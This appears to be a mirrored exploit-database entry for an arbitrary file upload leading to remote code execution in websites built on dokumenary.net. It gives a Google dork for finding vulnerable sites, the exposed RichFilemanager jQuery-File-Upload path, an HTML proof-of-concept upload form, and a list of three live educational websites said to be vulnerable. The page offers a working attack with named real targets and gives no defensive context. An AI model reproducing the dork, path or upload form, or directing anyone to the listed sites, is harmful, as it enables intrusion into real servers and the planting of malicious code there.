Powered By dokumenary.net Remote Code Execution

Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023010054

Below is a copy:

Powered By dokumenary.net Remote Code Execution

# Exploit Title: Arbritrary File Upload - Remote Code Execution
# Google Dork: intext:dokumenary.net All rights reserved.
# Date: 29/01/2023
# Exploit Author: UnM@SK
# Vendor Homepage: https://dokumenary.net
# All Version Not Patched

1 you can go straight to the exploit
2 you access /assets/comp/RichFilemanager/scripts/jQuery-File-Upload/
3 go to exploit csrf file upload

#CSRF
<html><head><title>poc</title>
</head><body bgcolor="white" class="intent-mouse"><center>  <h1>My Poc</h1><h1>
<font color="black"> <form method="POST" action="site.idassets/comp/RichFilemanager/scripts/jQuery-File-Upload/server/php/" enctype="multipart/form-data"> <input type="file" name="files[]"><input type="submit" name="Submit" value="Upload ?"> <center><h5></h5> idiotCrew <h5></h5> </center></form></font></h1></center>
</body></html>
#Live
https://elearning.staiubkujunggading.ac.id/
https://stpsantopetruska.ac.id/new_elearning/
http://elsas.ar-rum.ac.id/

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.